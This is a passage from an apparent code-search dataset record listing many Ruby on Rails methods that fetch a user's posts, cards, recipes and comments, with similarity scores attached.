if loaded_trustors.present?\n private_posts = self.posts.find(:all,\n :conditions => [\"posts.p_private = ? AND posts.user_id IN (?)\", 1, loaded_trustors],\n :order => 'posts.updated_at DESC')\n else private_posts = []\n end\n \n return private_posts + public_posts\n end", "def get_all_posts_in_pr_for_user(oauth_token)\n result = []\n client = Octokit::Client.new(access_token: oauth_token)\n pull_requests_for_user = get_open_post_editor_pull_requests(oauth_token)\n \n pull_requests_for_user.each do | pull_request |\n pull_request_files = client.pull_request_files(full_repo_name, pull_request[:number])\n\n post = nil\n images = []\n pull_request_files.each do | pull_request_file |\n contents_url_params = CGI.parse(pull_request_file[:contents_url])\n\n # The CGI.parse method returns a hash with the key being the URL and the value being an array of\n # URI parameters so in order to get the ref we need to grab the first value in the hash and the first\n # URI parameter in the first hash value\n ref = contents_url_params.values.first.first\n file_contents = client.contents(full_repo_name, path: pull_request_file[:filename], ref: ref)\n\n if pull_request_file[:filename].ends_with?('.md')\n post = create_post_from_api_response(file_contents, ref)\n result << post\n else\n images << create_post_image(pull_request_file[:filename], file_contents.content)\n end\n end\n\n post.images = images\n end\n result\n end", "def show\n posts = policy_scope(@user.posts)\n postables = posts.map(&:postable).uniq\n\n @postables = postables.map do |p|\n [p, p.posts.where(user: @user).last, p.posts.where(user: @user).count]\n end\n @postables.sort! do |a, b|\n b[1].created_at <=> a[1].created_at\n end\n\n @postables = Kaminari.paginate_array(@postables)\n .page(params[:page])\n .per(15)\n end", "def recipecards\n RecipeCard.all.select do | card |\n card.user == self\n end\n end", "def recipe_cards \n RecipeCard.all.select do |recipe|\n recipe.user == self\n end \n end", "def index\n @user = User.find_by(token: params[:token])\n @posts = Post.where('supplier_id = ? or claimant_id = ?', @user.id, @user.id)\n end", "def get_all_postid_for_user(userid)\n postids = Array.new\n postids = Post.where(:user_id => userid).pluck(:id)\n return postids\n end", "def index\n @posts = Post.user_posts current_user\n end", "def show\n @my_posts = @good.good_posts.select{|p| p.user == current_user }\n end", "def get_stream_for_user(user_id)\n @posts = []\n\n u = User.find(user_id)\n u.locations.each do|loc|\n loc.posts.each do|post|\n @posts << post.to_hash\n end\n end\n\n @posts = @posts.sort_by { |k| k[\"created_at\"] }.reverse\n end", "def users_comments(post_id)\n @comments = []\n comments = Post.find(post_id).comments\n for comment in comments\n if (is_admin? || comment.commentable.user == current_user)\n @comments << comment\n end\n end\n @comments\n end", "def user_posts\n posts = []\n self.posts.order(\"id desc\").each do |post|\n post = post.attributes.merge(image: post.image.url)\n posts << post\n end\n posts\n end", "def user_submissions\n @posts = Post.all.where(\"user_id = ?\", current_user.id)\n end", "def get_posts(id)\r\n db = connect()\r\n return result=db.execute(\"SELECT * FROM posts WHERE posts.userid=(?)\", id)\r\n end", "def index\n @user_story_cards = UserStoryCard.all\n end", "def index\n @cards = current_user.cards.ordered_by_created_at\n @new_card = Card.new\n end", "def posts(user)\n posts = user.posts\n # NOTE: As for the difference between present?, empty?, any?, exists?, see the following page.\n # https://semaphoreci.com/blog/2017/03/14/faster-rails-how-to-check-if-a-record-exists.html\n return '' if posts.empty?\n posts.pluck(:content).join('|')\n end", "def index\n if params[:user_id]\n @posts = Post.where(user_id: params[:user_id])\n else\n @posts = current_user.posts\n end\n end", "def get_user_recipes\n RecipeCard.all.select do |recipe_cards|\n recipe_cards.user == self \n end\n end", "def recipe_cards\n RecipeCard.all.select { |recipe_card| recipe_card.user == self}\n end", "def index\n @posts = Post.where(user_id: current_user)\n end", "def show\n @bosses = policy_scope(@raid.bosses)\n .includes(last_post: [{ user: :main }, :postable])\n .order(:row_order)\n\n @posts = Post.for_postable(@raid, params[:page])\n @post = @raid.posts.build\n end", "def get_stream_for_user(user_id)\n @posts = []\n result = []\n get_following_locations(user_id)\n @following_locations.each do |loc_hash|\n get_posts_for_location(loc_hash[:id])\n @posts.each do |post_hash|\n result << post_hash\n end\n end\n @posts = result.sort_by { |h| h[:created_at] }.reverse\n end", "def index\n if params[:user_id]\n @user = User.find params[:user_id]\n @cards = @user.cards\n @actions = [{\"YGO战网\" => users_path}, @user, \"常用卡片\"]\n else\n @cards = Card.joins(:duel_user_cards)\n @actions = [{\"YGO战网\" => users_path}, \"卡片排行\"]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cards }\n end\n end", "def cards(options = { :filter => :open })\n return @cards if @cards\n @cards = Client.get(\"/boards/#{id}/cards\").json_into(Card)\n end", "def filter_posts_by_ids(post_ids)\n @posts = super(post_ids)\n if SiteSetting.private_replies_enabled && @topic.custom_fields.keys.include?('private_replies') && @topic.custom_fields['private_replies']\n if !@user\n @posts = @posts.where('posts.post_number = 1')\n end\n if @topic.user.id != @user.id && !@user.admin? # Topic starter and admin can see it all\n replied_users = Post.where('topic_id = ? AND deleted_at IS NULL' ,@topic.id).pluck(:user_id)\n if not (replied_users.include?(@user.id))\n @posts = @posts.where('posts.post_number = 1')\n end\n end\n end\n @posts\n end", "def show\n @posts = Post.where(author_uid: @user.uid, show: true).limit(9).order('created_at desc')\n @count = Post.where(author_uid: @user.uid, show: true).count()\n end", "def users\n my_recipe_cards.map do |recipecard|\n recipecard.user\n end\n end", "def all_cards_like_this\n user.creditcards.where(:cc_type => cc_type, :last_digits => last_digits, :first_name => first_name, :last_name => last_name, :year => year, :month => month)\n end", "def recipe_cards\n user_recipecards = RecipeCard.all.select do |recipecard|\n recipecard.user == self\n end\nend", "def answered_flashcards\n Flashcard.joins(:user_flashcards).where(user_flashcards: {\n user: self\n })\n end", "def card_exists?(user)\n all_cards = user.cards.all.count\n all_cards >= 0\n end", "def index\n @credit_cards = current_user.credit_cards.where(:is_active => true).all\n end", "def index\n @timecards = current_user.timecards.paginate(:page => params[:page], :per_page => 15)\n end", "def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end", "def index\n @blog_cards = Blog::Card.all\n end", "def users\n recipe_cards.map do |r|\n r.user\n end\n end", "def filter_cards(cards)\n cards = Array(cards) unless cards.respond_to?(:count) \n return cards.select { |card| Card.get(card.id).nil? } #TODO: move this to method\n end", "def get_stream_for_user(user_id)\n @posts = []\n # Following.find_by_sql(\"SELECT f.location_id FROM following f WHERE author_id = ?\", user_id).each do |l_id|\n Following.find_by_sql(\"SELECT f.location_id FROM following f WHERE follower_id = ?\", user_id).each do |l_id|\n Post.find_all_by_location_id(l_id).each do |post|\n @posts << {:author_id => post.author_id, :author => post.author, :text => post.text, :created_at => post.created_at, :location => Location.find_by_location_id(l_id).to_hash}\n # Locations.find_all_by_id(l_id).each do |loc|\n # Post.find_all_by_location_id(l)\n # # location_hash = Locations.find(:id => l_id).to_hash\n # Posts.find_by_sql(\"SELECT * FROM posts p WHERE p.author_id = ?\", user_id).each do |post|\n # @posts << {:author_id => post.author_id, :author => post.author, :text => post.text, :created_at => post.created_at, :location => location_hash}\n end\n end\n @posts = @posts.sort_by{|p| p.created_at}.reverse\n \n end", "def fetch_cards\n log 'fetch_cards'\n data = get(PRODUCTS_ENDPOINT, fields: { carteras: false,listaSolicitada: 'TODOS',indicadorSaldoPreTarj: false })\n data['datosSalidaTarjetas']['tarjetas'].map{ |data| build_card(data) }\n end", "def index\n @cards = Card.reorder(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n @vote = Vote.new(params[:vote])\n @user = current_user\n end", "def get_posts_for_user filter, page, per_page, user_id, status, open\n if filter == \"open\"\n @posts = Post.paginate(page: page, :per_page => per_page, :conditions => ['user_id = ? AND status = ? AND open = ?', user_id, status, open])\n elsif filter == \"watched\"\n @posts = []\n Watchedpost.find_each(:conditions => ['user_id = ?', user_id], :select => 'post_id') do |watched_post|\n @posts << Post.first(:conditions => ['id = ?', watched_post.post_id])\n end\n @posts = @posts.paginate(:page => params[:page], :per_page => 20)\n elsif filter == \"archived\"\n @posts = Post.paginate(page: params[:page], :per_page => 20, :conditions => ['user_id = ? AND status = ? AND open = ?', user_id, STATUS_ACTIVE, false]) \n else\n\n end\n end", "def all_for_user\n \n puts \"GETS HEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\"\n @user = User.find(params[:id])\n puts @user.to_yaml\n @user_reviews = UserReview.find(:all, :conditions => ['user_id = ?', @user.id])\n end", "def user_posts(user, tag = nil)\n was_subscribed = true\n ret = []\n\n # unless we already subscribed, subscribe to user\n unless subs.keys.include?(user)\n sub(user)\n was_subscribed = false\n end\n \n # grab list of user's posts\n inbox_dates.keys.each do |date|\n ret += inbox(date).find_all do |post| \n post['user'] == user && (tag == nil || post['tags'].include?(tag))\n end\n end\n\n # unsubscribe from user unless we were already subscribed\n unsub(user) unless was_subscribed\n\n # return list of user's posts\n ret\n end", "def index\n @user_posts = UserPost.all\n end", "def show\n @user = User.friendly.find(params[:id])\n @user_posts = @user.posts.all.order(\"created_at desc\")\n @posts = Post.all.order(\"created_at desc\")\n end", "def comments_given(user_id)\n comments = Comment.where(user_id: user_id)\n end", "def cards(addressbook_id)\n end", "def blog\n @posts = Post.includes(:user).where(user_id: params[:id]).order(created_at: :desc)\n end", "def show\n @make_card = MakeCard.find(params[:id])\n @rechargeable_cards_ids = @make_card.rechargeable_cards.ids\n @rechargeable_cards = RechargeableCard.find(@rechargeable_cards_ids)\n @rechargeable_cards = RechargeableCard.paginate(page: params[:page])\n\n end", "def post_content_all_without_memories(selected_user)\n loaded_trustors = trustors(selected_user)\n public_posts = self.posts.find(:all,\n #:include => :memorizations,\n :conditions => [\"NOT EXISTS (SELECT * FROM memorizations WHERE memorizations.user_id = ? AND memorizations.post_id = posts.id) AND posts.p_private = ?\",selected_user.id,0],\n :order => 'posts.created_at DESC')\n if loaded_trustors.present?\n private_posts = self.posts.find(:all,\n #:include => :memorizations,\n :conditions => [\"NOT EXISTS (SELECT * FROM memorizations WHERE memorizations.user_id = ? AND memorizations.post_id = posts.id) AND posts.p_private = ? AND posts.user_id IN (?)\",selected_user.id,1, loaded_trustors],\n :order => 'posts.created_at DESC')\n else private_posts = []\n end\n return private_posts + public_posts\n end", "def index\n @user = User.find(params[:user_id])\n @posts = Post.feed_items(@user)\n @post = Post.new\n end", "def index\n @decks = Deck.where(:user_id => current_user.id)\n end", "def user_posts(user, tag = nil)\n was_subscribed = true\n ret = []\n\n # unless we already subscribed, subscribe to user\n unless subs.keys.include?(user)\n sub(user)\n was_subscribed = false\n end\n \n # grab list of user's posts\n inbox_dates.keys.each do |date|\n ret += inbox(date).find_all do |post| \n post['user'] == user && (tag == nil || post['tags'].include?(tag))\n end\n end\n\n # unsubscribe from user unless we were already subscribed\n unsub(user) unless was_subscribed\n\n # return list of user's posts\n ret\n end", "def get_user_posts_by_following\n self.following.collect do |followed|\n followed.get_user_posts\n end\n end", "def index\n @cards = @deck.cards.all\n end", "def show\n @user = User.find_by(id: params[:id])\n @posts = @user.posts\n end", "def multiple_cards(address_book_id, uris)\n end", "def index\n @payments = Payment.all_for_user(current_user)\n end", "def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n @user_posts = @user.posts.paginate(page: params[:page]).order('created_at DESC')\n \n end", "def show\n @userposts = @user.userposts.paginate(page: params[:page])\n @games = @user.games\n @feed_items = @user.userposts.paginate(page: params[:page])\n @leagues = @user.leagues\n end", "def index\n @pokers = Poker.where(user_id: current_user.id)\n end", "def user_payments\n @payments = Payment.get_user_payments(current_user.id)\n end", "def index\n # `includes` tells Rails what associations we're going to be using in\n # our view. This is important, since normally when you call `.comments`\n # on a post, Rails will make a call to the database. If you have a large\n # number of posts, this can cause a huge number of DB requests.\n if params[:user_id]\n @posts = Post.where(user_id: params[:user_id])\n else\n @posts = Post\n end\n @posts = @posts.includes(:comments)\n end", "def deliverables_for_user(user)\n deliverables.find(:all, :include => [:users], :conditions => { \"users.id\" => user.id })\n end", "def show\n @post = current_user.posts.build\n @user = User.find(params[:id])\n if current_user == @user\n @posts = current_user.feed.paginate(page: params[:page]) \n else\n @posts = @user.posts.paginate(page: params[:page])\n end\n end", "def get_cards(deck)\n\n end", "def all_favoring_posts\n render :json => User.find(params[:user_id]).favoring_posts\n end", "def index\n @user = User.find(session[:user_id])\n poster_ids = []\n @user.follows.each do |follow|\n poster_ids = poster_ids.push(follow[:followee_id])\n end\n @posts = Post.order(\"updated_at desc\")\n @posts = @posts.where({:user_id => poster_ids})\n @posts = @posts.page(params[:page]).per(20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end", "def index\n\t\t@user_posts = Post.where(user_id: current_user.id).where(active: true).order(\"created_at DESC\")\n\tend", "def get_bills_for_user(user)\n bills = BillPart.where(participant_id:user.id).map(&:id)\n end" ]
[ "0.6973872", "0.68046874", "0.6749347", "0.65473783", "0.637469", "0.637469", "0.63692075", "0.6273093", "0.62598234", "0.62426883", "0.6115687", "0.6106763", "0.60288644", "0.60135865", "0.5964224", "0.5964068", "0.5939525", "0.5916632", "0.5909937", "0.5904797", "0.5851408", "0.5821086", "0.575518", "0.571302", "0.5712097", "0.569536", "0.56833977", "0.56666577", "0.56604356", "0.56349635", "0.5615096", "0.5614382", "0.5607395", "0.55905807", "0.5588168", "0.5573171", "0.5570666", "0.55690885", "0.5565877", "0.55564356", "0.55446875", "0.55350864", "0.55332124", "0.5528336", "0.55273753", "0.5522089", "0.5513889", "0.5493825", "0.5490552", "0.54879487", "0.5476355", "0.5470143", "0.54648095", "0.5462502", "0.5452139", "0.5441065", "0.5425672", "0.54224706", "0.5394421", "0.5392986", "0.5369453", "0.5346716", "0.53414977", "0.53272414", "0.5321594", "0.53175944", "0.5311469", "0.53099096", "0.53039443", "0.52995634", "0.5294829", "0.528682", "0.5280723", "0.5279324", "0.5273859", "0.52723575", "0.5269807", "0.5269585", "0.5262261", "0.52586883", "0.52451", "0.52271014", "0.5224487", "0.5223135", "0.5221978", "0.52188814", "0.52121943", "0.5205809", "0.52037215", "0.51959085", "0.5186936", "0.51770234", "0.5173333", "0.51684177", "0.51537526", "0.5149609", "0.5145961", "0.5143348", "0.5140768", "0.5131273" ]
0.6208967
10
disable source for now
def source_required? false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_ExcludeSource(value)\n set_input(\"ExcludeSource\", value)\n end", "def source?\n false\n end", "def source_required?\n false\n end", "def disable\n end", "def exclude_paths\n @source_paths ||= []\n end", "def disable!\n @enabled = false\n end", "def protect_sources\n @protected_sources = sources\n end", "def disable\n @enabled = false\n end", "def disable!\n @enabled = false\n end", "def disable!\n @disabled = true\n end", "def keep_source_code_for_prebuilt_frameworks!\n DSL.dont_remove_source_code = true\n end", "def source(override); end", "def source() end", "def disable!\n self.enabled = false\n end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def protect_all_sources\n @protected_all_sources = all_sources\n end", "def remove_source(*source)\n unless source.blank?\n what.query[:sources] && what.query[:sources] >> source.flatten\n changed\n end\n end", "def disable!\n @cache_enabled = false\n end", "def disable!\n @cache_enabled = false\n end", "def security_prevent_install_apps_from_unknown_sources=(value)\n @security_prevent_install_apps_from_unknown_sources = value\n end", "def disabled; end", "def disable\n @disabled = true\n end", "def disable_link\n @disable_link = true\n end", "def remove_source(reset = true)\r\n return unless @source_link\r\n src, @source_link = @source_link, nil\r\n src.unbind\r\n reset_value if reset\r\n src.binding_source\r\n end", "def check_source_state\n super\n end", "def source_check_state\n super\n end", "def src; end", "def src; end", "def src; end", "def aws_instance_network_interface_first_source_dest_check_disable(opts)\n opts[:instance].network_interfaces.first.source_dest_check = false\n end", "def source_noteworthy?\n source.present? && source != \"mo_website\"\n end", "def processed_source=(_); end", "def processed_source=(_); end", "def disable\n disable_features :all\n end", "def unreference_source_files\n set_reference_source_file(@encoding_job, false)\n redirect_to play_encoding_job_path(@encoding_job)\n end", "def support_multiple_source?; end", "def source(options = {})\r\n end", "def disable # :nodoc:\n @trace_point.disable\n end", "def source_port_behavior\n super\n end", "def source_port_behavior\n super\n end", "def source_required?\n true\n end", "def source_required?\n true\n end", "def source_required?\n true\n end", "def disable_cache; end", "def should_remove_librun_and_stc_sources\n !(core_developer? or ENV['RETAIN_STX_AND_LIBRUN_SOURCE'] == 'yespleaseretain!')\nend", "def disable\n\n @enabled = false\n\n return self\n\n end", "def sources\n files(!p?)\n end", "def disable_extension(name)\n end", "def source=(value)\n @source = value\n end", "def source=(value)\n @source = value\n end", "def disable_imports_from(name)\n Autoproj.workspace.manifest.disable_imports_from(name)\nend", "def security_prevent_install_apps_from_unknown_sources\n return @security_prevent_install_apps_from_unknown_sources\n end", "def disabled!\n self\n end", "def disabled=(_arg0); end", "def disable_pxe\n delegate(provider, :disable_pxe)\n end", "def ignore; end", "def ignore\n @ignore = true\n end", "def full_source=(_arg0); end", "def enable!; end", "def source_files; end", "def source\n raise 'implement me in subclass!'\n end", "def source(url)\n Gem.sources.clear if @default_sources\n\n @default_sources = false\n\n Gem.sources << url\n end", "def disable!\n tracers.each(&:disable!)\n end", "def sourcemap_option; end", "def disabled?; end", "def disabled?; end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def disable!\n @mutex.synchronize do\n return self if ! @enabled\n\n this = self\n mod_target.instance_eval do\n if method_defined? this.old_meth\n alias_method this.meth, this.old_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n end\n\n disabled!\n @enabled = false\n end\n\n self\n end", "def synthetic_source\n @values.fetch('ai.operation.syntheticSource') { \n @values['ai.operation.syntheticSource'] = nil\n }\n end", "def ignore_exts\n @ext_rules.reject\n end", "def filter_out_used_repos\n Yast::SourceManager.ReadSources\n\n @repositories.delete_if do |repo|\n Yast::SourceManager.getSourceId(repo.url) != -1\n end\n end", "def ignore!\n @should_ignore = true\n end", "def ignore\n @ignore = true\n end", "def source=(source)\n self.each{|e| e.source=source}\n end", "def load_source!\n @source = load_file_contents\n end", "def disableAI _obj, _args\n \"_obj disableAI _args;\" \n end", "def disable!\n @mutex.synchronize do\n @advised.each { | x | x.disable! }\n end\n self\n end", "def source\n raise NotImplementedError\n end" ]
[ "0.70023715", "0.6930084", "0.6558295", "0.6488691", "0.64652735", "0.6427138", "0.63244027", "0.63209164", "0.6319916", "0.6238741", "0.6233104", "0.6227137", "0.62124413", "0.62064576", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6203636", "0.6195955", "0.61766285", "0.6144622", "0.6144622", "0.6134957", "0.61215824", "0.6071881", "0.6067579", "0.6057519", "0.6052486", "0.59644026", "0.5948092", "0.5948092", "0.5948092", "0.5941113", "0.5914436", "0.58935326", "0.58935326", "0.58775395", "0.58653784", "0.5854403", "0.58198905", "0.5804574", "0.58044183", "0.58044183", "0.5789372", "0.5789372", "0.5789372", "0.5784768", "0.57814455", "0.5779522", "0.57768303", "0.577212", "0.57300115", "0.57300115", "0.571761", "0.5717586", "0.5714714", "0.5710617", "0.56761664", "0.5674768", "0.5666842", "0.56659937", "0.56450164", "0.56431127", "0.5633998", "0.5626337", "0.56245804", "0.5622676", "0.5615892", "0.5615892", "0.55973214", "0.55973214", "0.55973214", "0.55973214", "0.55973214", "0.5589845", "0.5579223", "0.5573827", "0.5572262", "0.5560325", "0.5556727", "0.5551873", "0.5549061", "0.55405647", "0.5530661", "0.55294" ]
0.65947604
3
This function finds refining parameters via ConstraintBlocks/ConstraintElements from the given VerificationElement. It highlights elements that have no expressions for constraints and missing units. Params: +requirement+:: A Requirement element to look for refining parameters.
def findRefinedParameters(element) for relation in element.get_relationshipOfRelatedElement() if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype) req = ModelHelper.getSupplierElement(relation) for relation in req.get_relationshipOfRelatedElement() if StereotypesHelper.hasStereotype(relation, $refineStereotype) ce = ModelHelper.getClientElement(relation) if StereotypesHelper.hasStereotype(ce, $ceStereotype) badval = false constraint = ce.get_constraintOfConstrainedElement().get(0) expression = constraint.getSpecification().getBody().get(0) paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, "unit") unless paramUnit.respond_to?(:name) $logger.log(ce.getName() + ": Missing unit") badval = true end unless expression != nil $logger.log(ce.getName() + ": No expression found!") badval = true end if badval reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id') $logger.log("Requirement Id: " + reqId.to_s) end end end end end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def findOrCreateRefinedParameters(element)\n $logger.log(element.getName())\n refinedParams = []\n for relation in element.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype)\n req = ModelHelper.getSupplierElement(relation)\n for relation in req.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $refineStereotype)\n ce = ModelHelper.getClientElement(relation)\n if StereotypesHelper.hasStereotype(ce, $ceStereotype)\n badval = false\n constraint = ce.get_constraintOfConstrainedElement().get(0)\n expression = constraint.getSpecification().getBody().get(0)\n paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, \"unit\")\n if paramUnit.respond_to?(:name)\n paramUnit = paramUnit.name\n else\n paramUnit = \"\"\n $logger.log(ce.getName() + \": Missing unit\")\n badval = true\n end\n if expression != nil\n output = expression + \"[\" + paramUnit + \"]\"\n refinedParams.push(output)\n else \n $logger.log(ce.getName() + \": No expression found!\")\n badval = true\n end\n if badval\n reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id')\n $logger.log(\"Requirement Id: \" + reqId.to_s)\n end\n end\n end\n end\n end\n end\n if refinedParams.size == 0\n $logger.log(\"No refined parameters\")\n else\n original = StereotypesHelper.getStereotypePropertyFirst(element, $veStereotype, $refinedParametersProp)\n # 10.chr creates line separator for MagicDraw string view\n textBlock = refinedParams.join(10.chr)\n # Add text block to VE\n if original != textBlock\n #$logger.log(textBlock.to_s)\n StereotypesHelper.setStereotypePropertyValue(element, $veStereotype, $refinedParametersProp, textBlock)\n else\n $logger.log(\"No change in refined parameters.\")\n end\n end\nend", "def read_residual_mandatory_constraints\n trace :orm, \"Processing non-absorbed mandatory constraints\" do\n @mandatory_constraints_by_rs.each { |role_sequence, x|\n id = x['id']\n # Create a simply-mandatory PresenceConstraint for each mandatory constraint\n name = x[\"Name\"] || ''\n name = nil if name.size == 0\n #puts \"Residual Mandatory #{name}: #{role_sequence.to_s}\"\n\n if (players = role_sequence.all_role_ref.map{|rr| rr.role.object_type}).uniq.size > 1\n join_over, = *ActiveFacts::Metamodel.plays_over(role_sequence.all_role_ref.map{|rr| rr.role}, :proximate)\n raise \"Mandatory join constraint #{name} has incompatible players #{players.map{|o| o.name}.inspect}\" unless join_over\n if players.detect{|p| p != join_over}\n trace :query, \"subtyping step simple mandatory constraint #{name} over #{join_over.name}\"\n players.each_with_index do |player, i|\n next if player != join_over\n # REVISIT: We don't need to make a subtyping step here (from join_over to player)\n end\n end\n end\n\n pc = @constellation.PresenceConstraint(id_of(x))\n pc.vocabulary = @vocabulary\n pc.name = name\n pc.role_sequence = role_sequence\n pc.is_mandatory = true\n pc.min_frequency = 1 \n pc.max_frequency = nil\n pc.is_preferred_identifier = false\n\n (@constraints_by_rs[role_sequence] ||= []) << pc\n @by_id[id] = pc\n }\n end\n end", "def required_parameters\n definition_lambda.parameters.select { |key,_value| key == :req }.map { |_key,value| value }\n end", "def process(problem)\n @id = 0\n problem.constraints.each do |c|\n puts print_expression(c.expression)\n puts \"\\n\\n\"\n end\n problem\n end", "def constraint\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n return_value = ConstraintReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal31 = nil\n\n tree_for_string_literal31 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 41:5: 'not null'\n string_literal31 = match( NOT_NULL, TOKENS_FOLLOWING_NOT_NULL_IN_constraint_239 )\n\n tree_for_string_literal31 = @adaptor.create_with_payload( string_literal31 )\n @adaptor.add_child( root_0, tree_for_string_literal31 )\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return return_value\n end", "def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 31 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n __PARAMS259__ = nil\n parameter260 = nil\n\n tree_for_PARAMS259 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 215:5: ^( PARAMS ( parameter )* )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __PARAMS259__ = match( PARAMS, TOKENS_FOLLOWING_PARAMS_IN_parameters_1582 )\n\n tree_for_PARAMS259 = @adaptor.copy_node( __PARAMS259__ )\n\n root_1 = @adaptor.become_root( tree_for_PARAMS259, root_1 )\n\n\n\n if @input.peek == DOWN\n match( DOWN, nil )\n # at line 215:15: ( parameter )*\n while true # decision 35\n alt_35 = 2\n look_35_0 = @input.peek( 1 )\n\n if ( look_35_0 == ASGN || look_35_0 == SPLAT || look_35_0 == ID )\n alt_35 = 1\n\n end\n case alt_35\n when 1\n # at line 215:15: parameter\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_1584 )\n parameter260 = parameter\n @state.following.pop\n\n @adaptor.add_child( root_1, parameter260.tree )\n\n\n else\n break # out of loop for decision 35\n end\n end # loop for decision 35\n\n match( UP, nil )\n end\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 31 )\n\n end\n \n return return_value\n end", "def requirements=(_arg0); end", "def requirements=(_arg0); end", "def parameters(element=node)\n result = []\n element.elements.each do |e|\n if (p = e.attributes['param'])\n param_name = p == \"&true\" ? e.name : p\n result << [param_name, parameters(e)]\n else\n result.concat(parameters(e))\n end\n end\n result\n end", "def iframe_params_find_required(vp)\n param = [vp, \"[required]=\"].join\n finds = (self.template || \"\").split(\"&\").find_all { |v| v.include?(param) }\n finds.empty? ? \"true\" : finds.first.sub(param, \"\")\n end", "def render_constraint_element(label, value, options = {})\n render(:partial => \"catalog/constraints_element\", :locals => {:label => label, :value => value, :options => options})\n end", "def parameter_notations(name)\n escaped_name = Regexp.escape(name)\n type = /<[^>]+>/\n /(#{escaped_name}|#{escaped_name}#{type})/\n end", "def wait_for_elements(element_requirements)\n options[:wait_for_elements] = element_requirements\n end", "def render_constraints_query(localized_params = params)\n # So simple don't need a view template, we can just do it here.\n # if statement modified to enable the display of the default 'All fields' search\n if (!localized_params[:q].blank?)\n label = \n if localized_params[:search_field].blank?\n nil\n else\n\n label_for_search_field(localized_params[:search_field])\n end\n \n render_constraint_element(label,\n localized_params[:q], \n :classes => [\"query\"], \n :remove => url_for(localized_params.merge(:q=>nil, :action=>'index')))\n else\n \"\".html_safe\n end\n end", "def chew_constraints(some_code, nuke_where_clause=false) \n return some_code if some_code !~ /<((?:[^>]|<.*?>)+\\sextends\\s(?:[^>]|<.*?>)+)>/\n constraints = Hash.new\n some_code.sub!(/<((?:[^>]|<.*?>)+\\sextends\\s(?:[^<>]|<.*?>)+)>/) do |x|\n x.gsub(/\\b(\\w+)\\s+extends\\s+(\\w+(?:\\s*<(?:[^<>]|<.*?>)+>)?)/) do \n constraints[$1] = $2\n $1\n end\n end\n return some_code if constraints.empty?\n where_clause = constraints.keys.collect{|x| \"where #{x} : class, #{constraints[x]}\"}.join(\" \")\n nuke_where_clause ? some_code : some_code.sub(/([\\{;]\\s*$)/, \" #{where_clause} \\\\1\")\nend", "def possibilities_for_requirement(requirement, activated = self.activated)\n return [] unless requirement\n if locked_requirement_named(name_for(requirement))\n return locked_requirement_possibility_set(requirement, activated)\n end\n\n group_possibilities(search_for(requirement))\n end", "def _re_arg_if(condition = :all, matcher = nil, diagnostic = nil)\n @xdoc or assert_javascript\n\n matcher = condition.respond_to?(:match) ? condition : matcher\n aspect = :all\n aspect = condition if [:condition, :all, :true, :false].include?(condition)\n\n xpath = './/IfStatement[ @name = \"IfStatement\" ]' +\n if aspect == :condition \n '/Expression[ @name = \"Expression\" ]' \n elsif aspect == :all \n '/..' # CONSIDER why is this here?? \n else\n \"/Statement[ @name='#{aspect}' ]\"\n end\n\n # ERGO flunk here - with param explanation (if humanly possible!)\n\n return [xpath, matcher, diagnostic]\n end", "def required_parameters\n @required_parameters ||= ((self.parameter_descriptions.select do |k, v|\n v['required']\n end).inject({}) { |h,(k,v)| h[k]=v; h }).keys\n end", "def requirements(requirements); end", "def handle_incorrect_constraints(specification)\n specification.inject(Mash.new) do |acc, (cb, constraints)|\n constraints = Array(constraints)\n acc[cb] = (constraints.empty? || constraints.size > 1) ? [] : constraints.first\n 